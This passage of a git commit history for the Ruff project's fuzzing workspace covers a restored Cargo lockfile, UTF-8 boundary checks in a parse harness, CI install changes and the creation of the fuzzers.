Within those totals, `parsed_module` decreases by roughly 2.1% and
`semantic_index` by 2.4–2.7%. Several name-heavy collections decrease by
considerably more.
2026-07-16 14:53:48 -04:00
Charlie Marsh 0ced7436cf Restore the fuzz workspace lockfile (#26868)
## Summary

Restore the fuzz workspace's committed Cargo lockfile and stop ignoring
it.

The fuzz workspace currently resolves dependencies from scratch on every
CI run. This allowed the `get-size2` 0.10.2 release to select
`compact_str` 0.10 alongside Ruff's `compact_str` 0.9 dependency, so
`GetSize` was implemented for a different `CompactString` type and
`cargo fuzz build` stopped compiling.

The lockfile was originally committed when the fuzz harness was
introduced, then removed in #5008 without a documented rationale.
Keeping it committed makes fuzz dependency updates explicit and keeps
the workspace on the compatible `get-size2` 0.10.1 / `compact_str` 0.9.1
pair for now.
2026-07-15 13:40:38 -07:00
Addison Crump 70e6c212d9 Improve ruff_parse_simple to find UTF-8 violations (#5008)
Improves the `ruff_parse_simple` fuzz harness by adding checks for
parsed locations to ensure they all lie on UTF-8 character boundaries.
This will allow for faster identification of issues like #5004.

This also adds additional details for Apple M1 users and clarifies the
importance of using `init-fuzzer.sh` (thanks for the feedback,
@jasikpark 🙂).
2023-06-12 12:10:23 -04:00
Charlie Marsh 1d756dc3a7 Move Python whitespace utilities into new ruff_python_whitespace crate (#4993)
## Summary

`ruff_newlines` becomes `ruff_python_whitespace`, and includes the
existing "universal newline" handlers alongside the Python
whitespace-specific utilities.
2023-06-10 00:59:57 +00:00
Charlie Marsh 5235977abc Bump version to 0.0.272 (#4948) 2023-06-08 02:17:29 +00:00
Addison Crump f990d9dcc5 Remove libafl_libfuzzer while it remains unstable (#4933) 2023-06-07 19:56:37 +02:00
konstin 5c48414093 Use taiki-e/install-action to install cargo fuzz (#4928)
* Use taiki-e/install-action to install cargo fuzz

The cargo fuzz run seems to sometimes fail for unclear reasons (https://github.com/charliermarsh/ruff/actions/runs/5200348677/jobs/9379742606?pr=4900). I hope that this might fix it. I'll push more commits to this PR to check the caching behaviour.

* Trigger CI with cache

* Change cache

* Actually use caching

* Undo cargo update

* cargo update fuzzer

* Revert rust changes
2023-06-07 15:57:33 +00:00
Addison CrumpandMicha Reiser 2f125f4019 Create fuzzers for testing correctness of parsing, linting and fixing (#4822)
Co-authored-by: Micha Reiser <micha@reiser.io>
2023-06-07 14:57:07 +02:00